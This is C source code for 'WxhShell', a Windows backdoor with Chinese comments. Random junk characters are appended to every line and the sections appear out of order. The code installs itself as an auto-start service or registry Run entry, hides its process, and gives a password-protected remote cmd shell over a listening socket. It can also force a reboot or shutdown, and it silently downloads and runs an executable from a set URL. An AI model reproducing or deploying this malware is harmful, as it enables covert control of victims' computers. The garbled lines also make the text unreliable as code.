    if(Boot(SHUTDOWN)) *^{j!U37s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,if~%'9j  
    else { fO5L[U^`  
    closesocket(wsh); (  -q0!]E  
    ExitThread(0); uIO?4\s&G  
    } .EWjeVq  
    break; ]QY-L O(  
    } =ePwGm1:c  
  // 获取shell z7?SuJ  
  case 's': { yMkR)HY  
    CmdShell(wsh);  \>"Zn7  
    closesocket(wsh); X xwcvE  
    ExitThread(0); b(U5n"cdA  
    break; #sF#<nHZ  
  } Av n-Ug  
  // 退出 QYDI-<.(  
  case 'x': { ?r)>SB3(e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZB$yEW]]~  
    CloseIt(wsh); ^Ar1V!PFk  
    break; .i )K#82  
    } 5IzCQqOPgX  
  // 离开 @Kt!uKrI  
  case 'q': { tr0kTW$Ad  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =C(BZ+-^  
    closesocket(wsh); r&v!2A]:  
    WSACleanup(); <x<qO=lq  
    exit(1); J<"Z6 '0v  
    break; &a\w+  
        } &'/PEOu&}G  
  } rcLF:gd] E  
  } ~3Qa-s;g  
leSBR,C  
  // 提示信息 *h?}~!AjY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1bw$$QXC_  
} ODpAMt"  
  } {='wGx  
wS$ 'gKA6  
  return; {Eo Z }I  
} )9/iH(  
79 _8Oh  
// shell模块句柄 AYoTCi%7E  
int CmdShell(SOCKET sock) "\~>[on  
{ M`=\ijUwN  
STARTUPINFO si; oWDn_GnG`h  
ZeroMemory(&si,sizeof(si)); `T%nGVl>\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =*-a c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GM^H )8U  
PROCESS_INFORMATION ProcessInfo; r da: ~  
char cmdline[]="cmd"; .;bU["fn)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,B x0  
  return 0; =b)!l9TX  
} (yEU9R$I"  
71<4q {n  
// 自身启动模式 tmoclK-  
int StartFromService(void) ?a, `{1m0\  
{ xjxX4_  
typedef struct Om7 '_}  
{ E\Iz:ES^  
  DWORD ExitStatus; \q!TI x  
  DWORD PebBaseAddress; WqCER^~'>  
  DWORD AffinityMask; pK>/c>de  
  DWORD BasePriority; ~S :8M<aB  
  ULONG UniqueProcessId; -~~R?,H'Z_  
  ULONG InheritedFromUniqueProcessId; U CFw+  
}   PROCESS_BASIC_INFORMATION; `5x0p a  
Xk/:a}-l  
PROCNTQSIP NtQueryInformationProcess; j:48l[;ed  
mMu+MXTk<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IK4(r /  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F2n4#b  
t > 64^nS  
  HANDLE             hProcess; #w^Ot*{!N  
  PROCESS_BASIC_INFORMATION pbi; *r~6R  
"Rf|o 6!d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -4J.YF>  
  if(NULL == hInst ) return 0; u1z!OofN>  
i3(5 '  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z]Z&PbP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \`/ P*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &d!ASa  
>N~jlr|  
  if (!NtQueryInformationProcess) return 0; pZc`!f"  
PCBV6Y7r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); - ikq#L){  
  if(!hProcess) return 0; :de4Fje/4y  
n34d "l3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h^{ aG])  
r24 s_  
  CloseHandle(hProcess); mxc^IRj  
Z0V6cikW6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \D%n8O  
if(hProcess==NULL) return 0; OMjx,@9  
Z#;\Rb.x7  
HMODULE hMod; u VUrg;>  
char procName[255]; 0o.h{BN  
unsigned long cbNeeded; xTZJ5iZ17  
3)^ 2X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zJ8jJFL+Y  
S~g "  
  CloseHandle(hProcess); PIsXX#`7;  
4!M0)Nix  
if(strstr(procName,"services")) return 1; // 以服务启动 VdL }$CX$  
Kt"4<'  
  return 0; // 注册表启动 etb#/L  
} ' #t1e]  
yS#D$q2_  
// 主模块 5RSP.Vyx{  
int StartWxhshell(LPSTR lpCmdLine) z3fU|*_c  
{ ?U*sH2F  
  SOCKET wsl; ufA0H J)Yg  
BOOL val=TRUE; Yka>r9wr  
  int port=0; i Nn?G C>  
  struct sockaddr_in door; J,`I>^G  
EY:EpVin  
  if(wscfg.ws_autoins) Install(); M?ElD1#Z  
_UF'Cf+Y  
port=atoi(lpCmdLine); EiA_9%<  
ar`}+2Qh0  
if(port<=0) port=wscfg.ws_port; 'HWPuWW  
0+rBGk  
  WSADATA data; l2LO,j}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7'{Y7]+z+  
`|[UF^9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V4gvKWc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m O0#xY_z  
  door.sin_family = AF_INET; * ^\u%Ir"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vgj[m4l  
  door.sin_port = htons(port); sR$/z9w  
aU] nh. a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &e4EZ  
closesocket(wsl); {~=gKZ:-@  
return 1; D rouEm  
} (rf8"T!"  
<$ nMqUu0  
  if(listen(wsl,2) == INVALID_SOCKET) { #W L>ha v  
closesocket(wsl); !8J%%Ux&M  
return 1; UzkX;UA  
} l_ &T)Ei  
  Wxhshell(wsl); ?d)eri8,  
  WSACleanup(); YQ}IE[J}v  
?)/H8n  
return 0; +|O& k  
?,!C0ts  
} _^w^tfH]  
X5P1wxk'  
// 以NT服务方式启动 7(zY:9|(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SciEHI#  
{ "3a_C,\  
DWORD   status = 0; ~uO9>(?D  
  DWORD   specificError = 0xfffffff; m\|ie8  
RLF]Wa,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; be&,V_F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $K~ t'wr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uo^tND4a;j  
  serviceStatus.dwWin32ExitCode     = 0; !ma'*X  
  serviceStatus.dwServiceSpecificExitCode = 0; ]~m2#g%  
  serviceStatus.dwCheckPoint       = 0; -$j|&l  
  serviceStatus.dwWaitHint       = 0; 'A#l$pJp7  
|+Ub3<b[]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,09d"7`X  
  if (hServiceStatusHandle==0) return; =Wl}Pgo!  
fh}j)*K8  
status = GetLastError(); X>rv{@KbL  
  if (status!=NO_ERROR) K1fnHpK  
{ -Wl79lE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KrD?Z2x  
    serviceStatus.dwCheckPoint       = 0; U\tujK1  
    serviceStatus.dwWaitHint       = 0; )u5+<OG}=  
    serviceStatus.dwWin32ExitCode     = status; PPj0LFA  
    serviceStatus.dwServiceSpecificExitCode = specificError; f.u+({"ql  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :]IY w!_-p  
    return; Y[alOJ  
  } ~@ hiLW  
}tH6E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _WHGd&u  
  serviceStatus.dwCheckPoint       = 0; g h&,U`  
  serviceStatus.dwWaitHint       = 0; #j${R ={  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C?VNkBJ>\  
} F%q}N,W  
| <l=i(  
// 处理NT服务事件,比如:启动、停止 R;2 Z~P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]s:%joj%^  
{ #vvQ 1ub  
switch(fdwControl) AU^5N3%j  
{ dy2<b+ ..  
case SERVICE_CONTROL_STOP: SH M@H93  
  serviceStatus.dwWin32ExitCode = 0; <bgFc[Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6 VuMx7W1  
  serviceStatus.dwCheckPoint   = 0; nfjwWDH  
  serviceStatus.dwWaitHint     = 0; ;_= +h,n  
  { G8!* &vR/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7 a_99? J  
  } \TXCq@  
  return; %u02KmV.  
case SERVICE_CONTROL_PAUSE: 5Qgh\4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~i/K7qZ  
  break; .Zv uhOn^  
case SERVICE_CONTROL_CONTINUE: 0:4w@"Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qEV>$>}  
  break; ju?D=n@i  
case SERVICE_CONTROL_INTERROGATE: G^/8lIj  
  break; Mi&jl_&  
}; $|bdeQPr\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &>%9JXU  
} xc6A&b>jI  
5\eM3w'd  
// 标准应用程序主函数 6'1m3<G_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d;O4)8 >  
{ O;?Nz:/q  
O4fl$egQU  
// 获取操作系统版本 %.VFj7J  
OsIsNt=GetOsVer(); 5]yby"Z?}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z;ko )  
O4A{GO^q  
  // 从命令行安装 ?_b zg'  
  if(strpbrk(lpCmdLine,"iI")) Install(); 80;^]l   
{pyTiz#JY  
  // 下载执行文件 K/ 5U;oC  
if(wscfg.ws_downexe) { r:Rk!z*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 79O'S du@  
  WinExec(wscfg.ws_filenam,SW_HIDE); tKKQli4Mn4  
} Tg ~SGAc  
:J6lJ8w ?  
if(!OsIsNt) { ZQY?wO: [  
// 如果时win9x,隐藏进程并且设置为注册表启动 bL]NSD  
HideProc(); |Y&&g=7  
StartWxhshell(lpCmdLine); yRv4,{B}X>  
} G2BB]] m3  
else Kk9W=vd  
  if(StartFromService()) p?XVO#  
  // 以服务方式启动 n!$zO{P  
  StartServiceCtrlDispatcher(DispatchTable); A9\(vxxOpC  
else W 2.Ap  
  // 普通方式启动 UY$Lqe~  
  StartWxhshell(lpCmdLine); 7F@#6  
tzV^.QWm  
return 0; 9B<aYp)  
} KoKd.%  
g,] GzHV1  
Ek%mX"  
XlDN)b5v{  
=========================================== Vx*O^cM  
].r~?9'/  
{IA3`y~  
::R5F4  
 \qj(`0HG  
e'0BP,\f_}  
" |Pj]sh[^Y  
AD^Q`7K?uR  
#include <stdio.h> c$#7Kp4  
#include <string.h>  -#<AbT  
#include <windows.h> Cu&y',ee~  
#include <winsock2.h> zVyMmw\  
#include <winsvc.h> C 5 xsh  
#include <urlmon.h> d !=AS  
?3=y]Vb+  
#pragma comment (lib, "Ws2_32.lib") ]L{diD 2G  
#pragma comment (lib, "urlmon.lib") @Tz}y"VG  
[H5BIM@{  
#define MAX_USER   100 // 最大客户端连接数 $~5ax8u&!#  
#define BUF_SOCK   200 // sock buffer OH/!Ky\@  
#define KEY_BUFF   255 // 输入 buffer 6Mh"{N7  
#Q'j^y 7=z  
#define REBOOT     0   // 重启 r"xs?P&/$  
#define SHUTDOWN   1   // 关机 f 6 k=ew  
hYB3tT  
#define DEF_PORT   5000 // 监听端口 !M@jW[s  
PB(I3R9  
#define REG_LEN     16   // 注册表键长度 $QB/n63  
#define SVC_LEN     80   // NT服务名长度 Ev>P|k V&A  
@ q:S]YB   
// 从dll定义API 'B yB1NL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); It:,8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6%L#FSI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4U>g0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^bk:g}o  
Fv$oXg/  
// wxhshell配置信息 BHNEP |=  
struct WSCFG { MmQ"z_v  
  int ws_port;         // 监听端口 7 F> a&r  
  char ws_passstr[REG_LEN]; // 口令 Cm%|hk>fQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,4--3 MU  
  char ws_regname[REG_LEN]; // 注册表键名 GW,RE\Q:  
  char ws_svcname[REG_LEN]; // 服务名 / ?Hq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {L/hhKT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F_-}GN%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Xb2.t^ ]f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;:obg/;uJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Tnoy#w}Ve  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7&&3@96<*#  
tE WolO[\  
}; AjD? _DPc  
,s`4k?y  
// default Wxhshell configuration 4@r76v}{  
struct WSCFG wscfg={DEF_PORT, #Oi{7~  
    "xuhuanlingzhe", w8}jmpnI  
    1, )m_q2xV  
    "Wxhshell", l/-qVAd!q  
    "Wxhshell", wQX18aF/#d  
            "WxhShell Service", ~CuJ$(9Y  
    "Wrsky Windows CmdShell Service", pS+hE4D  
    "Please Input Your Password: ", Te2 C<c  
  1, (tvfF0~  
  "http://www.wrsky.com/wxhshell.exe", ~$d(@T&  
  "Wxhshell.exe" N$N 7aE$  
    }; %E2V$l0  
g&I|@$\  
// 消息定义模块 ; ,n}>iTE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _E2W%N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L@"&s#~=3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {uN-bl?o  
char *msg_ws_ext="\n\rExit."; M$s9   
char *msg_ws_end="\n\rQuit."; EGVS8YP>h  
char *msg_ws_boot="\n\rReboot..."; [JYy  
char *msg_ws_poff="\n\rShutdown..."; P&IS$FC.\  
char *msg_ws_down="\n\rSave to "; :!yPR  
~s*kuj'%+  
char *msg_ws_err="\n\rErr!"; &} r-C97  
char *msg_ws_ok="\n\rOK!"; S SfNI>  
d <RJH  
char ExeFile[MAX_PATH]; w@WPp0mny  
int nUser = 0; K_F"j!0  
HANDLE handles[MAX_USER]; GIhX2EvAS  
int OsIsNt; V3(8?Fz.  
Ug  )eyu  
SERVICE_STATUS       serviceStatus; q.VZP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N\anjG  
"0LSy x  
// 函数声明 <:4b4Nl  
int Install(void); SZvp %hS0  
int Uninstall(void); ipyc(u6Z5  
int DownloadFile(char *sURL, SOCKET wsh); CsEU:v  
int Boot(int flag); A|YiSwyy  
void HideProc(void); _*ar\A`  
int GetOsVer(void); I]a [Ngj  
int Wxhshell(SOCKET wsl); f7/M_sx  
void TalkWithClient(void *cs); OlP1Zd/l  
int CmdShell(SOCKET sock); MM6PaD{  
int StartFromService(void); 4%#q.qI  
int StartWxhshell(LPSTR lpCmdLine); c#-*]6x  
&H[7UyC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _Kbj?j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ca -.&$f  
7(d#zu6n  
// 数据结构和表定义 *dN_=32u  
SERVICE_TABLE_ENTRY DispatchTable[] = KM?w{ ~9  
{ -S#jOr  
{wscfg.ws_svcname, NTServiceMain}, wxJoWbn  
{NULL, NULL} i.{.koH<  
}; 5Q\ hd*+g  
_2hZGC%&E  
// 自我安装 !v8](UI8-  
int Install(void) KL./  
{ W ", yq|  
  char svExeFile[MAX_PATH]; %C_c%3d  
  HKEY key; C3'?E<F  
  strcpy(svExeFile,ExeFile); Y]7 6y>|e  
OF2 W UcQ  
// 如果是win9x系统,修改注册表设为自启动 Lp(i&A  
if(!OsIsNt) { sX-@ >%l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7'#_uA QR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y<V$3h  
  RegCloseKey(key); uPxJwWXO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H%>^_:h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `Tei  
  RegCloseKey(key); 3 . K #,  
  return 0; [N#4H3GM8  
    } dL_9/f4   
  } q\-P/aN_  
} zI\+]U'  
else { U9K'O !i>  
4)8e0L*[B?  
// 如果是NT以上系统,安装为系统服务 ;/t~MH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %w?C)$Kn\  
if (schSCManager!=0) WZTAXOw  
{ GS7'pTsYH  
  SC_HANDLE schService = CreateService :5BCW68le  
  ( }1%%`  
  schSCManager, |3^U\r^zo  
  wscfg.ws_svcname, r-*j"1 e  
  wscfg.ws_svcdisp, *(qj!U43  
  SERVICE_ALL_ACCESS, zXU g(xu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mZM,"Wq,  
  SERVICE_AUTO_START, Kr[oP3  
  SERVICE_ERROR_NORMAL, s4QCun~m  
  svExeFile, 4H NaE{O4  
  NULL, B]vR=F}*  
  NULL, +prUau*  
  NULL, mkhWbzD'S  
  NULL, _8!x  
  NULL !8D>Bczq)  
  ); 7&D)+{g  
  if (schService!=0) CO9PQ`9+  
  { c2Exga_  
  CloseServiceHandle(schService); mHV{9J  
  CloseServiceHandle(schSCManager); R:3=!zav  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UNK.39  
  strcat(svExeFile,wscfg.ws_svcname); Nukyvse  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ANJL8t-m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tfu`_6  
  RegCloseKey(key); }+Q4s]  
  return 0; b^&azUkMN  
    } C"$~w3A k  
  } ;mRZ_^V;  
  CloseServiceHandle(schSCManager); oe|8  
} Xk/iyp/  
} ,L lYRj 5  
#oR`_Dm)P  
return 1; ^B%c3U$o  
} 00{a }@n  
B:Ft(,  
// 自我卸载 Pouo# 5  
int Uninstall(void) {bR2S&=OmK  
{ N&eo;Ti  
  HKEY key; 8a&c=9  
`6lOqH  
if(!OsIsNt) { K&RIF]0#G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JWYe~  
  RegDeleteValue(key,wscfg.ws_regname); cy)-Rfg  
  RegCloseKey(key); ,RM8D)m\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dpK -  
  RegDeleteValue(key,wscfg.ws_regname); G.^)5!By  
  RegCloseKey(key); G+Bk!o  
  return 0; '2hy%  
  } I$p1^8~L  
} Dy>6L79G  
} c~O Lr  
else { TUz4-Pd  
Tl'wA^~H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r>7 +&s*yk  
if (schSCManager!=0) ^yqRa&  
{ dJ/gc"7aO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1KbZ6Msy  
  if (schService!=0) ,Q3OQ[Nmh  
  { MBU|<tc  
  if(DeleteService(schService)!=0) { ;']u}Nh  
  CloseServiceHandle(schService); -*Rf [|Z  
  CloseServiceHandle(schSCManager); .@%L8_sMR  
  return 0; v|\#wrCT?  
  } fQ~TZ:UrU  
  CloseServiceHandle(schService); TnKv)%VF  
  } ?QzL#iO }h  
  CloseServiceHandle(schSCManager); +/l@o u'  
} _hJdC|/   
} lS#: u-k  
&M@c50&%  
return 1; (_8.gS[  
} ?|/K(}  
dQZdL4  
// 从指定url下载文件 9<&M~(dwT4  
int DownloadFile(char *sURL, SOCKET wsh) !LM`2|3$  
{ M. % p'^5  
  HRESULT hr; $5.52  
char seps[]= "/"; E?czolNl  
char *token; <#4""FO*  
char *file; -CuuO=h  
char myURL[MAX_PATH]; 8)=(eI$  
char myFILE[MAX_PATH]; </D.}ia  
xr]bH.>  
strcpy(myURL,sURL); E:dN)  
  token=strtok(myURL,seps); ZI;*X~h  
  while(token!=NULL) /9&!u )+  
  { l@* $C&E  
    file=token; :" Otsb7  
  token=strtok(NULL,seps); s]O Z+^Z  
  } rks"y&&Nc  
( H&HSs  
GetCurrentDirectory(MAX_PATH,myFILE); y<w_>O  
strcat(myFILE, "\\"); uR{)%udu  
strcat(myFILE, file); :aomDK*  
  send(wsh,myFILE,strlen(myFILE),0); TukhGgmF  
send(wsh,"...",3,0);  J]XLWAM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CHZ/@gc  
  if(hr==S_OK) <5}I6R;  
return 0; ygj%VG  
else U~)5{  
return 1; @&`^#pok  
O ylUuYy~j  
} yj#FO'UY  
{Ji&rk}NP  
// 系统电源模块 )B"{B1(  
int Boot(int flag) 2uN3:_w  
{ /;d 5p  
  HANDLE hToken; dO%f ;m>#  
  TOKEN_PRIVILEGES tkp; R!QR@*N  
H"(#Tp ZTE  
  if(OsIsNt) { M!5=3>Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X-fWdoN @-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J$42*SY  
    tkp.PrivilegeCount = 1; U5wh( vi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O/FI>RT\H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [j5+PV  
if(flag==REBOOT) { :wXiz`VH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #::+# G  
  return 0; 6H: fg  
} ,b -  
else { > ^zNKgSQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7gN;9pc$  
  return 0; pZopdEFDK|  
} 6E K<9M  
  } 5,##p"O(  
  else { -dO8Uis$  
if(flag==REBOOT) { q4w]9b/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p+|8(w9A${  
  return 0; A+8)VlE\  
} ;$zvm`|:  
else { .Z'NH wCy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \%Y`>x.  
  return 0; NQ;X|$!zH  
} 97\K] Tr  
}  f_n  
]r3/hDRDL@  
return 1; k(^TXUK\o  
} |v8h g])I+  
& [@)Er=  
// win9x进程隐藏模块 ym%` l!  
void HideProc(void) #}B1W&\sw  
{ &z40l['4bz  
4gC(zJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e ar:`11z  
  if ( hKernel != NULL ) U)Hc 7% e  
  { X>yDj]*4P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )Jk$j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #<"od'{U  
    FreeLibrary(hKernel); n nAtXVy  
  } 035jU'  
keRLai7h  
return; o*/;Zp==  
} 7F0J*M  
,'HjL:r  
// 获取操作系统版本 )Cj1VjAg  
int GetOsVer(void) M0xhcU_  
{ HM0&%  
  OSVERSIONINFO winfo; WwTl|wgvyI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M>m!\bb%.  
  GetVersionEx(&winfo); [pEb`s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Vdx o  
  return 1; `r-Jy{!y4  
  else v JGH8$%;,  
  return 0; /huh}&NNu  
} FCEmg0qdjD  
"Y L^j~A  
// 客户端句柄模块 t?-a JU  
int Wxhshell(SOCKET wsl) r'#!w3*Cy  
{ Qd YYWD   
  SOCKET wsh; u28$V]  
  struct sockaddr_in client; \3^V-/SJf  
  DWORD myID; aV|V C $  
cL*oO@I&_  
  while(nUser<MAX_USER) R/"-r^j  
{ y7:f^4  
  int nSize=sizeof(client); n.8870.BW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ejyx[CF  
  if(wsh==INVALID_SOCKET) return 1; 9q$^x/z!  
EGqu-WBS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z-kv{y*Hu  
if(handles[nUser]==0) s<#BxN  
  closesocket(wsh); h7fytO  
else  <a $!S  
  nUser++; N}%AUm/L  
  } *j]Bo,AC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zn^7#$fC  
7L&,Na  
  return 0; 0]*W0#{Zj  
} [<U=)!Swg  
y `FZ 0FI  
// 关闭 socket Q njK<}M9  
void CloseIt(SOCKET wsh) T^#d;A  
{ 1aS:bFi`  
closesocket(wsh); nlhv  
nUser--; WO9vOS>  
ExitThread(0); @OT$* Qh  
} >Tl/3{V  
" ]G'^  
// 客户端请求句柄 :Ob^b3<t  
void TalkWithClient(void *cs) * bYU=RS  
{ Z7pX%nj_  
5EQ)pH+  
  SOCKET wsh=(SOCKET)cs; aWRi`poZT  
  char pwd[SVC_LEN]; @0PWbs$  
  char cmd[KEY_BUFF]; ?'a>?al%>  
char chr[1]; u(8{5"C  
int i,j; <)a$5"AP  
OqMdm~4B!j  
  while (nUser < MAX_USER) { /KC^x= Xv:  
BNE:,I*&  
if(wscfg.ws_passstr) { C4ktCN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qonStIP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hs8JJGXWB  
  //ZeroMemory(pwd,KEY_BUFF); 6c(b*o  
      i=0; *rw6?u9I  
  while(i<SVC_LEN) { LlgFQfu8  
H'udxPF  
  // 设置超时 qzORv  
  fd_set FdRead; Tim/7*vx  
  struct timeval TimeOut; !m~r0M7  
  FD_ZERO(&FdRead); %pOxt<  
  FD_SET(wsh,&FdRead); 9#1?Pt^{<  
  TimeOut.tv_sec=8; ^ op0" #B  
  TimeOut.tv_usec=0; HU/4K7e`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bXOM=T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {aV,h@>  
q1L>nvE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $Bc3| `K1v  
  pwd=chr[0]; V >eG\  
  if(chr[0]==0xd || chr[0]==0xa) { b|k^   
  pwd=0; .YvIVQ  
  break; U_'M9g{,<  
  } $v2t6wS,"  
  i++; f ]_ki  
    } &g90q   
DVwB}W~  
  // 如果是非法用户,关闭 socket g.!k>_g`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PB"=\>]`N  
} f,6V#,  
<>$CYTb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gV9bt ~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cy? #LS  
=2( 52#pT  
while(1) { GY@:[u.&  
;AVIt!(L~V  
  ZeroMemory(cmd,KEY_BUFF); LU8[$.P  
tMP"9JE,  
      // 自动支持客户端 telnet标准   Oh10X.)i  
  j=0; -&1P2m/46  
  while(j<KEY_BUFF) { ws QuJrG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x|d?'  
  cmd[j]=chr[0]; PWp=}f.y  
  if(chr[0]==0xa || chr[0]==0xd) { tj*0Y-F~  
  cmd[j]=0; o[eZ"}~  
  break; 9^H.[t  
  } h,&{m*q&  
  j++; 4Ng:7C2  
    } *PFQ  
%zY5'$v `  
  // 下载文件 x<rS2d-Y  
  if(strstr(cmd,"http://")) { P~lU`.X}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `S4*~Xx  
  if(DownloadFile(cmd,wsh)) 3:#6/@wQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sqV~ Dw  
  else hg<[@Q%$o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BUsxgs"),  
  } -~(d_  
  else { nTtEv~a_n  
3Ur_?PM+C  
    switch(cmd[0]) { j@+$lU*r  
  "Vl4=W)u  
  // 帮助 :Sd`4"AA  
